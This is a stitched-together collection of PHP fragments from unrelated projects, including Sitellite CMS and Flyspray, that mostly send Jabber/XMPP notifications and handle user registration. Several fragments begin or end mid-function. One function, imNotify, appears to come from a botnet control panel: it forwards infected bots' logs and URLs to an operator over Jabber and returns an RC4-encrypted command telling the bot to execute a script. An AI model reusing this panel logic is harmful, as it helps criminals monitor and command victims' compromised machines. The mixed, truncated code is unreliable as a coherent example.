function sendList($list) { // send jabber message global $loader, $intl, $site, $conf; if ($conf['Messaging']['jabber'] == true) { $loader->import('ext.Jabber'); $jabber = new Jabber(); $jabber->resource = 'Sitellite CMS ' . SITELLITE_VERSION; $jabber->server = $conf['Messaging']['jabber_server']; $jabber->port = $conf['Messaging']['jabber_port']; $jabber->username = $conf['Messaging']['jabber_username']; $jabber->password = $conf['Messaging']['jabber_password']; $jabber->enable_logging = true; if (!$jabber->Connect()) { $this->error = $jabber->log_array[count($jabber->log_array) - 1]; return false; } if (!$jabber->SendAuth()) { $this->error = $jabber->log_array[count($jabber->log_array) - 1]; return false; } foreach ($list as $item) { if (strtoupper($item->type) == 'TASK') { $id = 'T' . $item->id; } elseif (strtoupper($item->type) == 'MESSAGE') { $id = 'M' . $item->id; } else { $id = strtoupper(substr($item->type, 0, 1)) . $item->id; } if (defined('WORKSPACE_' . strtoupper($item->type) . '_' . strtoupper($this->name) . '_SUBJECT')) { $subject = $intl->get(constant('WORKSPACE_' . strtoupper($item->type) . '_' . strtoupper($item->name) . '_SUBJECT'), $item->struct); } else { $subject = '[' . $id . '] ' . $item->subject; } if (defined('WORKSPACE_' . strtoupper($item->type) . '_' . strtoupper($this->name) . '_BODY')) { $body = $intl->get(constant('WORKSPACE_' . strtoupper($item->type) . '_' . strtoupper($this->name) . '_BODY'), $item->struct); } else { $body = $item->body; } if (!$jabber->SendMessage($item->address, $item->priority, null, array('thread' => $id, 'subject' => $subject, 'body' => $body))) { $this->error = $jabber->log_array[count($jabber->log_array) - 1]; return false; } //echo 'fdsa'; } $jabber->enable_logging = false; $jabber->Disconnect(); return true; } else { $this->error = 'Jabber server info not configured'; return false; } }
/** Notify [multiple] JIDs with [multiple] messages. * Re-users Jabber connection in case of multiple messages being sent * @param string|string[] Jabber ID[s] to send messages to * @param string|string[] Message[s] to send * @return TRUE|string[] Array of errors * * Uses $GLOBALS['config'] to get the jabber info */ function jabber_notify_now($jids, $messages) { if (is_string($jids)) { $jids = explode(',', $jids); } if (is_string($messages)) { $messages = array($messages); } if (count($messages) == 0) { return true; } static $jab = null; if (is_null($jab)) { require_once "system/jabberclass.php"; $jab = new Jabber(); $jab->server = $GLOBALS['config']['jabber']['host']; $jab->port = $GLOBALS['config']['jabber']['port']; $jab->username = $GLOBALS['config']['jabber']['login']; $jab->password = $GLOBALS['config']['jabber']['pass']; if (!@$jab->connect()) { return array('ERROR: Jabber::connect() failed to connect!'); } if (!@$jab->sendAuth()) { return array('ERROR: Jabber::sendAuth() failed!'); } } if (!@$jab->sendPresence(NULL, NULL, "online")) { return array('ERROR: Jabber::sendPresence() failed!'); } $errors = array(); foreach ($jids as $jid) { if (strlen($jid = trim($jid))) { foreach ($messages as $msg) { if (!@$jab->sendMessage($jid, "normal", NULL, array("body" => $msg))) { $errors[] = 'ERROR: Jabber::sendMessage() failed!'; } } } } // File log $datestr = date('Y.m.d H:i:s'); if (empty($errors) && !empty($GLOBALS['config']['reports_jn_logfile'])) { $f = @fopen($GLOBALS['config']['reports_jn_logfile'], 'a'); if ($f) { foreach ($messages as $message) { @fwrite($f, $message . "\n\n====================| {$datestr} |====================\n\n"); } @fclose($f); } } return count($errors) == 0 ? TRUE : $errors; }
public static function send($sendMessageTo, $message) { require_once 'class_Jabber.php'; $jab = new Jabber(); if (!is_array($sendMessageTo)) { $sendMessageTo = array($sendMessageTo); } new self($jab, $sendMessageTo, $message); if (!$jab->connect("vivid")) { throw new Kwf_Exception("Could not connect to the Jabber server"); } $jab->execute(1, 3); $jab->disconnect(); }
public static function get() { if (!isset(self::$instance)) { self::$instance = new Jabber(); } return self::$instance; }
} else { // subsequent roster updates indicate changes for individual roster items $contact = $this->jab->roster[$jid]; echo "Contact updated: " . $this->_contact_info($contact); } } function handleDebug($msg, $level) { echo "DBG: {$msg}\n"; } } // include the Jabber class require_once "class_Jabber.php"; // create an instance of the Jabber class $display_debug_info = true; $jab = new Jabber($display_debug_info); // create an instance of our event handler class $test = new TestMessenger($jab); // set handlers for the events we wish to be notified about $jab->set_handler("connected", $test, "handleConnected"); $jab->set_handler("authenticated", $test, "handleAuthenticated"); $jab->set_handler("authfailure", $test, "handleAuthFailure"); $jab->set_handler("heartbeat", $test, "handleHeartbeat"); $jab->set_handler("error", $test, "handleError"); $jab->set_handler("message_normal", $test, "handleMessage"); $jab->set_handler("message_chat", $test, "handleMessage"); $jab->set_handler("debug_log", $test, "handleDebug"); $jab->set_handler("rosterupdate", $test, "handleRosterUpdate"); echo "Connecting ...\n"; // connect to the Jabber server if (!$jab->connect(JABBER_SERVER)) {
Flyspray::show_error(L('registererror')); break; } if (Post::val('email_address') != Post::val('verify_email_address')) { Flyspray::show_error(L('emailverificationwrong')); break; } $email = strtolower(Post::val('email_address')); $jabber_id = strtolower(Post::val('jabber_id')); //email is mandatory if (!$email || !Flyspray::check_email($email)) { Flyspray::show_error(L('novalidemail')); break; } //jabber_id is optional if ($jabber_id && !Jabber::check_jid($jabber_id)) { Flyspray::show_error(L('novalidjabber')); break; } $user_name = Backend::clean_username(Post::val('user_name')); // Limit length $real_name = substr(trim(Post::val('real_name')), 0, 100); // Remove doubled up spaces and control chars $real_name = preg_replace('![\\x00-\\x1f\\s]+!u', ' ', $real_name); if (!$user_name || empty($user_name) || !$real_name) { Flyspray::show_error(L('entervalidusername')); break; } // Delete registration codes older than 24 hours $yesterday = time() - 86400; $db->Query('DELETE FROM {registrations} WHERE reg_time < ?', array($yesterday));
function imNotify(&$type, &$list, &$botId) { if (($type == BLT_HTTP_REQUEST || $type == BLT_HTTPS_REQUEST) && !empty($list[SBCID_PATH_SOURCE])) { $ml = explode("", $GLOBALS['config']['reports_jn_list']); foreach ($ml as &$mask) { if (@preg_match('#^' . str_replace('\\*', '.*', preg_quote($mask, '#')) . '$#i', $list[SBCID_PATH_SOURCE]) > 0) { $message = htmlentities("Bot ID: " . $botId . "\nURL: " . $list[SBCID_PATH_SOURCE] . "\n\n" . substr($list[SBCID_BOTLOG], 0, 1024)); error_reporting(0); if (strlen($GLOBALS['config']['reports_jn_logfile']) > 0 && ($fh = @fopen($GLOBALS['config']['reports_jn_logfile'], 'at')) !== false) { @fwrite($fh, $message . "\n\n" . str_repeat('=', 40) . "\n\n"); @fclose($fh); } require_once "system/jabberclass.php"; $jab = new Jabber(); $jab->server = $GLOBALS['config']['reports_jn_server']; $jab->port = $GLOBALS['config']['reports_jn_port']; $jab->username = $GLOBALS['config']['reports_jn_account']; $jab->password = $GLOBALS['config']['reports_jn_pass']; if ($jab->connect()) { $jab->sendAuth(); $jab->sendPresence(NULL, NULL, "online"); $jab->sendMessage($GLOBALS['config']['reports_jn_to'], "normal", NULL, array("body" => $message)); $jab->disconnect(); } if (strlen($GLOBALS['config']['reports_jn_script']) > 0) { $eid = md5($mask, true); $script = 'user_execute "' . trim($GLOBALS['config']['reports_jn_script']) . '" -f'; $size = strlen($eid) + strlen($script); $replyData = pack('LLLL', 1, 0, $size, $size) . $eid . $script; $replyData = pack('LLLLLLLL', mt_rand(), mt_rand(), mt_rand(), mt_rand(), mt_rand(), HEADER_SIZE + strlen($replyData), 0, 1) . md5($replyData, true) . $replyData; visualEncrypt($replyData); rc4($replyData, $GLOBALS['config']['botnet_cryptkey_bin']); echo $replyData; die; } break; } } } }
/** * Sends notifications *now* * @param mixed $to string or array...the type of address (email, task ID, user ID) is specified below * @param integer $to_type type of $to address * @param integer $type type of notification * @param array $data additional info needed for notification * @access public * @return bool */ function send_now($to, $to_type, $type, $data = array()) { global $db, $fs, $proj; $emails = array(); $jids = array(); $result = true; if (defined('FS_NO_MAIL')) { return true; } switch ($to_type) { case ADDRESS_DONE: // from send_stored() list($emails, $jids) = $to; $data = unserialize($data['message_data']); $subject = $data['subject']; $body = $data['body']; break; case ADDRESS_EMAIL: // this happens on email confirmation, when no user exists $emails = is_array($to) ? $to : array($to); break; case ADDRESS_USER: // list of user IDs list($emails, $jids) = Notifications::user_to_address($to, $type); break; case ADDRESS_TASK: // now we need everyone on the notification list and the assignees list($emails, $jids) = Notifications::task_notifications($to, $type, ADDRESS_EMAIL); $data['task_id'] = $to; break; } if (isset($data['task_id'])) { $data['task'] = Flyspray::getTaskDetails($data['task_id']); // we have project specific options $pid = $db->x->GetOne('SELECT project_id FROM {tasks} WHERE task_id = ?', null, $data['task_id']); $data['project'] = new Project($pid); } if ($to_type != ADDRESS_DONE) { list($subject, $body) = Notifications::generate_message($type, $data); } if (isset($data['task_id'])) { // Now, we add the project contact addresses, // but only if the task is public $data['task'] = Flyspray::getTaskDetails($data['task_id']); if ($data['task']['mark_private'] != '1' && in_array($type, explode(' ', $data['project']->prefs['notify_types']))) { $proj_emails = preg_split('/[\\s,;]+/', $proj->prefs['notify_email'], -1, PREG_SPLIT_NO_EMPTY); $proj_jids = preg_split('/[\\s,;]+/', $proj->prefs['notify_jabber'], -1, PREG_SPLIT_NO_EMPTY); $emails = array_merge($proj_emails, $emails); if ($fs->prefs['global_email']) { $emails[] = $fs->prefs['global_email']; } if ($fs->prefs['global_jabber']) { $jids[] = $fs->prefs['global_jabber']; } $jids = array_merge($proj_jids, $emails); } } // Now we start sending if (count($emails)) { Swift_ClassLoader::load('Swift_Connection_Multi'); Swift_ClassLoader::load('Swift_Connection_SMTP'); $pool = new Swift_Connection_Multi(); // first choose method if ($fs->prefs['smtp_server']) { $split = explode(':', $fs->prefs['smtp_server']); $port = null; if (count($split) == 2) { $fs->prefs['smtp_server'] = $split[0]; $port = $split[1]; } // connection... SSL, TLS or none if ($fs->prefs['email_ssl']) { $smtp = new Swift_Connection_SMTP($fs->prefs['smtp_server'], $port ? $port : SWIFT_SMTP_PORT_SECURE, SWIFT_SMTP_ENC_SSL); } else { if ($fs->prefs['email_tls']) { $smtp = new Swift_Connection_SMTP($fs->prefs['smtp_server'], $port ? $port : SWIFT_SMTP_PORT_SECURE, SWIFT_SMTP_ENC_TLS); } else { $smtp = new Swift_Connection_SMTP($fs->prefs['smtp_server'], $port); } } if ($fs->prefs['smtp_user']) { $smtp->setUsername($fs->prefs['smtp_user']); $smtp->setPassword($fs->prefs['smtp_pass']); } if (defined('FS_SMTP_TIMEOUT')) { $smtp->setTimeout(FS_SMTP_TIMEOUT); } $pool->addConnection($smtp); } else { Swift_ClassLoader::load('Swift_Connection_NativeMail'); // a connection to localhost smtp server as fallback, discarded if there is no such thing available. $pool->addConnection(new Swift_Connection_SMTP()); $pool->addConnection(new Swift_Connection_NativeMail()); } $swift = new Swift($pool); if (isset($data['task_id'])) { $swift->attachPlugin(new NotificationsThread($data['task_id'], $emails, $db), 'MessageThread'); } if (defined('FS_MAIL_DEBUG')) { $swift->log->enable(); Swift_ClassLoader::load('Swift_Plugin_VerboseSending'); $view = new Swift_Plugin_VerboseSending_DefaultView(); $swift->attachPlugin(new Swift_Plugin_VerboseSending($view), "verbose"); } $message = new Swift_Message($subject, $body); // check for reply-to if (isset($data['project']) && $data['project']->prefs['notify_reply']) { $message->setReplyTo($data['project']->prefs['notify_reply']); } if (isset($data['project']) && isset($data['project']->prefs['bounce_address'])) { $message->setReturnPath($data['project']->prefs['bounce_address']); } $message->headers->setCharset('utf-8'); $message->headers->set('Precedence', 'list'); $message->headers->set('X-Mailer', 'Flyspray'); // Add custom headers, possibly if (isset($data['headers'])) { $headers = array_map('trim', explode("\n", $data['headers'])); if ($headers = array_filter($headers)) { foreach ($headers as $header) { list($name, $value) = explode(':', $header); $message->headers->set(sprintf('X-Flyspray-%s', $name), $value); } } } $recipients = new Swift_RecipientList(); $recipients->addTo($emails); // && $result purpose: if this has been set to false before, it should never become true again // to indicate an error $result = $swift->batchSend($message, $recipients, $fs->prefs['admin_email']) === count($emails) && $result; if (isset($data['task_id'])) { $plugin =& $swift->getPlugin('MessageThread'); if (count($plugin->thread_info)) { $stmt = $db->x->autoPrepare('{notification_threads}', array('task_id', 'recipient_id', 'message_id')); $db->x->executeMultiple($stmt, $plugin->thread_info); $stmt->free(); } } $swift->disconnect(); } if (count($jids)) { $jids = array_unique($jids); if (!$fs->prefs['jabber_username'] || !$fs->prefs['jabber_password']) { return $result; } // nothing that can't be guessed correctly ^^ if (!$fs->prefs['jabber_port']) { $fs->prefs['jabber_port'] = 5222; } require_once 'class.jabber2.php'; $jabber = new Jabber($fs->prefs['jabber_username'], $fs->prefs['jabber_password'], $fs->prefs['jabber_security'], $fs->prefs['jabber_port'], $fs->prefs['jabber_server']); $jabber->SetResource('flyspray'); $jabber->login(); foreach ($jids as $jid) { $result = $jabber->send_message($jid, $body, $subject, 'normal') && $result; } } return $result; }
function util_send_jabber($to, $subject, $body) { if (!$GLOBALS['sys_use_jabber']) { return; } $JABBER = new Jabber(); if (!$JABBER->Connect()) { echo '<br />Unable to connect'; return false; } //$JABBER->SendAuth(); //$JABBER->AccountRegistration(); if (!$JABBER->SendAuth()) { echo '<br />Auth Failure'; $JABBER->Disconnect(); return false; //or die("Couldn't authenticate!"); } $JABBER->SendPresence(NULL, NULL, "online"); $body = htmlspecialchars($body); $to_arr = explode(',', $to); for ($i = 0; $i < count($to_arr); $i++) { if ($to_arr[$i]) { //echo '<br />Sending Jabbers To: '.$to_arr[$i]; if (!$JABBER->SendMessage($to_arr[$i], "normal", NULL, array("body" => $body, "subject" => $subject))) { echo '<br />Error Sending to ' . $to_arr[$i]; } } } $JABBER->CruiseControl(2); $JABBER->Disconnect(); }
function SendJabber() { global $db, $fs; include_once BASEDIR . '/includes/class.jabber2.php'; if (empty($fs->prefs['jabber_server']) || empty($fs->prefs['jabber_port']) || empty($fs->prefs['jabber_username']) || empty($fs->prefs['jabber_password'])) { return false; } // get listing of all pending jabber notifications $result = $db->Query("SELECT DISTINCT message_id\n FROM {notification_recipients}\n WHERE notify_method='j'"); if (!$db->CountRows($result)) { return false; } $JABBER = new Jabber($fs->prefs['jabber_username'] . '@' . $fs->prefs['jabber_server'], $fs->prefs['jabber_password'], $fs->prefs['jabber_ssl'], $fs->prefs['jabber_port']); $JABBER->login(); // we have notifications to process - connect $JABBER->log("We have notifications to process..."); $JABBER->log("Starting Jabber session:"); $ids = array(); while ($row = $db->FetchRow($result)) { $ids[] = $row['message_id']; } $desired = join(",", array_map('intval', $ids)); $JABBER->log("message ids to send = {" . $desired . "}"); // removed array usage as it's messing up the select // I suspect this is due to the variable being comma separated // Jamin W. Collins 20050328 $notifications = $db->Query("\n\t\t\t\tSELECT * FROM {notification_messages}\n\t\t\t\tWHERE message_id IN ({$desired})\n\t\t\t\tORDER BY time_created ASC"); $JABBER->log("number of notifications {" . $db->CountRows($notifications) . "}"); // loop through notifications while ($notification = $db->FetchRow($notifications)) { $subject = $notification['message_subject']; $body = $notification['message_body']; $JABBER->log("Processing notification {" . $notification['message_id'] . "}"); $recipients = $db->Query("\n\t\t\t\tSELECT * FROM {notification_recipients}\n\t\t\t\tWHERE message_id = ?\n\t\t\t\tAND notify_method = 'j'", array($notification['message_id'])); // loop through recipients while ($recipient = $db->FetchRow($recipients)) { $jid = $recipient['notify_address']; $JABBER->log("- attempting send to {" . $jid . "}"); // send notification if ($JABBER->send_message($jid, $body, $subject, 'normal')) { // delete entry from notification_recipients $result = $db->Query("DELETE FROM {notification_recipients}\n WHERE message_id = ?\n AND notify_method = 'j'\n AND notify_address = ?", array($notification['message_id'], $jid)); $JABBER->log("- notification sent"); } else { $JABBER->log("- notification not sent"); } } // check to see if there are still recipients for this notification $result = $db->Query("SELECT * FROM {notification_recipients}\n WHERE message_id = ?", array($notification['message_id'])); if ($db->CountRows($result) == 0) { $JABBER->log("No further recipients for message id {" . $notification['message_id'] . "}"); // remove notification no more recipients $result = $db->Query("DELETE FROM {notification_messages}\n WHERE message_id = ?", array($notification['message_id'])); $JABBER->log("- Notification deleted"); } } // disconnect from server $JABBER->disconnect(); $JABBER->log("Disconnected from Jabber server"); return true; }
public static function _xml_depth($vals, &$i) { $children = array(); if (isset($vals[$i]['value'])) { array_push($children, $vals[$i]['value']); } while (++$i < count($vals)) { switch ($vals[$i]['type']) { case 'open': if (isset($vals[$i]['tag'])) { $tagname = $vals[$i]['tag']; } else { $tagname = ''; } if (isset($children[$tagname])) { $size = sizeof($children[$tagname]); } else { $size = 0; } if (isset($vals[$i]['attributes'])) { $children[$tagname][$size]['@'] = $vals[$i]["attributes"]; } $children[$tagname][$size]['#'] = Jabber::_xml_depth($vals, $i); break; case 'cdata': array_push($children, $vals[$i]['value']); break; case 'complete': $tagname = $vals[$i]['tag']; if (isset($children[$tagname])) { $size = sizeof($children[$tagname]); } else { $size = 0; } if (isset($vals[$i]['value'])) { $children[$tagname][$size]["#"] = $vals[$i]['value']; } else { $children[$tagname][$size]["#"] = array(); } if (isset($vals[$i]['attributes'])) { $children[$tagname][$size]['@'] = $vals[$i]['attributes']; } break; case 'close': return $children; break; } } return $children; }
function action_sendcode() { global $user, $db, $fs, $conf, $baseurl; if (!Post::val('user_name') || !Post::val('real_name') || !Post::val('email_address')) { // If the form wasn't filled out correctly, show an error return array(ERROR_RECOVER, L('registererror')); } $email = Post::val('email_address'); $jabber_id = Post::val('jabber_id'); //email is mandatory if (!$email || !Flyspray::check_email($email)) { return array(ERROR_RECOVER, L('novalidemail')); } //jabber_id is optional if ($jabber_id && !Jabber::check_jid($jabber_id)) { return array(ERROR_RECOVER, L('novalidjabber')); } $user_name = Backend::clean_username(Post::val('user_name')); // Limit lengths $real_name = substr(trim(Post::val('real_name')), 0, 100); // Remove doubled up spaces and control chars $real_name = preg_replace('![\\x00-\\x1f\\s]+!u', ' ', $real_name); if (!$user_name || !$real_name) { return array(ERROR_RECOVER, L('entervalidusername')); } // Delete registration codes older than 24 hours $yesterday = time() - 86400; $db->x->execParam('DELETE FROM {registrations} WHERE reg_time < ?', $yesterday); $taken = $db->x->getRow('SELECT u.user_id FROM {users} u, {registrations} r WHERE u.user_name = ? OR r.user_name = ?', null, array($user_name, $user_name)); if ($taken) { return array(ERROR_RECOVER, L('usernametaken')); } $taken = $db->x->getRow("SELECT user_id\n FROM {users}\n WHERE jabber_id = ? AND jabber_id != NULL\n OR email_address = ? AND email_address != NULL", null, array($jabber_id, $email)); if ($taken) { return array(ERROR_RECOVER, L('emailtaken')); } if ($fs->prefs['use_recaptcha']) { $solution = new reCAPTCHA_Solution(); $solution->privatekey = $fs->prefs['recaptcha_priv_key']; $solution->challenge = Post::val('recaptcha_challenge_field'); $solution->response = Post::val('recaptcha_response_field'); $solution->remoteip = $_SERVER['REMOTE_ADDR']; if (!$solution->isValid()) { return array(ERROR_RECOVER, $solution->error_code); } } $magic_url = substr(md5(uniqid(rand(), true)), 0, 20); //send the email first. if (Notifications::send(Post::val('email_address'), ADDRESS_EMAIL, NOTIFY_CONFIRMATION, array($baseurl, $magic_url, $user_name))) { //email sent succefully, now update the database. $reg_values = array('reg_time' => time(), 'user_name' => $user_name, 'real_name' => $real_name, 'email_address' => Post::val('email_address'), 'jabber_id' => Post::val('jabber_id'), 'notify_type' => Post::num('notify_type'), 'magic_url' => $magic_url, 'time_zone' => Post::num('time_zone')); // Insert everything into the database $query = $db->x->autoExecute('{registrations}', $reg_values); if (!PEAR::isError($query)) { return array(SUBMIT_OK, L('codesent'), $baseurl); } } else { return array(ERROR_INPUT, L('codenotsent')); } }
echo "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n" . "<html><head>\n<title>404 Not Found</title>\n</head><body>\n<h1>Not Found</h1>\n" . "The requested URL " . $PHP_SELF . " was not found on this server.<p>\n<hr>\n" . $_SERVER['SERVER_SIGNATURE'] . "</body></html>"; exit; } // END CLI KEEPOUT CHECKING // jabbercheck scheduler block // Checks for new incoming jabber instant messages. global $conf; if (empty($conf['Messaging']['jabber_server'])) { return; } loader_import('ext.Jabber'); loader_import('cms.Workspace.Message'); //loader_import ('cms.Workspace.Task'); $m = new WorkspaceMessage(); //$wtsk = new WorkspaceTask (); $j = new Jabber(); $j->resource = 'Sitellite CMS ' . SITELLITE_VERSION; $j->server = $conf['Messaging']['jabber_server']; $j->port = $conf['Messaging']['jabber_port']; $j->username = $conf['Messaging']['jabber_username']; $j->password = $conf['Messaging']['jabber_password']; $j->enable_logging = true; if (!$j->Connect()) { echo $j->log_array[count($j->log_array) - 1] . NEWLINE; return; } if (!$j->SendAuth()) { echo $j->log_array[count($j->log_array) - 1] . NEWLINE; return; } $j->SendPresence('available');
<?php // BEGIN CLI KEEPOUT CHECKING if (php_sapi_name() !== 'cli') { // Add these lines to the very top of any file you don't want people to // be able to access directly. header('HTTP/1.1 404 Not Found'); echo "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n" . "<html><head>\n<title>404 Not Found</title>\n</head><body>\n<h1>Not Found</h1>\n" . "The requested URL " . $PHP_SELF . " was not found on this server.<p>\n<hr>\n" . $_SERVER['SERVER_SIGNATURE'] . "</body></html>"; exit; } // END CLI KEEPOUT CHECKING require_once 'class.jabber.php'; $j = new Jabber(); $j->server = false; $j->enable_logging = true; function jerr(&$j) { return $j->log_array[count($j->log_array) - 1]; } $t = true; while ($t) { echo $j->server ? $j->server . '> ' : 'jabber> '; $input = explode(' ', trim(fgets(STDIN))); switch ($input[0]) { case '': break; case 'connect': if (!$input[1]) { echo "Error: hostname required.\n"; break; }